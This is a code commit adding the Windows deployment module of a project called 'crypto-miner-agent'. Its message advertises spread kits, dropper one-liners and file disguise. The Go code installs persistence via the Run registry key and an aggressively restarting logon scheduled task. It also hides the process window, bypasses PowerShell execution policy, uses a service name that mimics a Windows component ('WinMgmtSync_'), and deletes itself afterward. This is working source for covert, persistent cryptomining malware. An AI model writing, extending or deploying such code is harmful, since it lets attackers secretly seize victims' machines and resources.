Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/deploy/platform_windows.go

@@ -0,0 +1,102 @@
+//go:build windows
+
+package deploy
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"syscall"
+
+	"crypto-miner-agent/config"
+
+	"golang.org/x/sys/windows/registry"
+)
+
+func CurrentExecutable() (string, error) {
+	path, err := os.Executable()
+	if err != nil {
+		return filepath.Abs(os.Args[0])
+	}
+	return filepath.Abs(path)
+}
+
+func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
+	k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
+	if err != nil {
+		return err
+	}
+	defer k.Close()
+	return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
+}
+
+func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
+	switch cfg.RunAs {
+	case "scheduled", "service":
+		return createScheduledTask(cfg, installedBin)
+	default:
+		return nil
+	}
+}
+
+func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
+	taskName := PersistenceKeyName(cfg)
+	if taskName == "" {
+		taskName = "CryptoMinerAgent"
+	}
+	script := fmt.Sprintf(
+		`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
+		strings.ReplaceAll(binPath, `'`, `''`),
+		runFlag,
+		strings.ReplaceAll(taskName, `'`, `''`),
+	)
+	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
+	return cmd.Run()
+}
+
+func applyDetachedStart(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: 0x08000000,
+	}
+}
+
+func HostOSVersion() string {
+	out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
+	if err != nil {
+		return "windows"
+	}
+	return strings.TrimSpace(string(out))
+}
+
+func killWorkerProcess(cfg config.RuntimeConfig) {
+	_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
+}
+
+func removePersistence(cfg config.RuntimeConfig) {
+	keyName := PersistenceKeyName(cfg)
+	runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
+	if err == nil {
+		_ = runKey.DeleteValue(keyName)
+		runKey.Close()
+	}
+	_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
+	svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
+	_ = exec.Command("sc.exe", "stop", svcName).Run()
+	_ = exec.Command("sc.exe", "delete", svcName).Run()
+}
+
+func selfUninstallSpawn(installDir string) {
+	ps := fmt.Sprintf(`
+$dir = '%s'
+Start-Sleep -Seconds 2
+Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
+`, strings.ReplaceAll(installDir, "'", "''"))
+	cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
+	_ = cmd.Start()
+}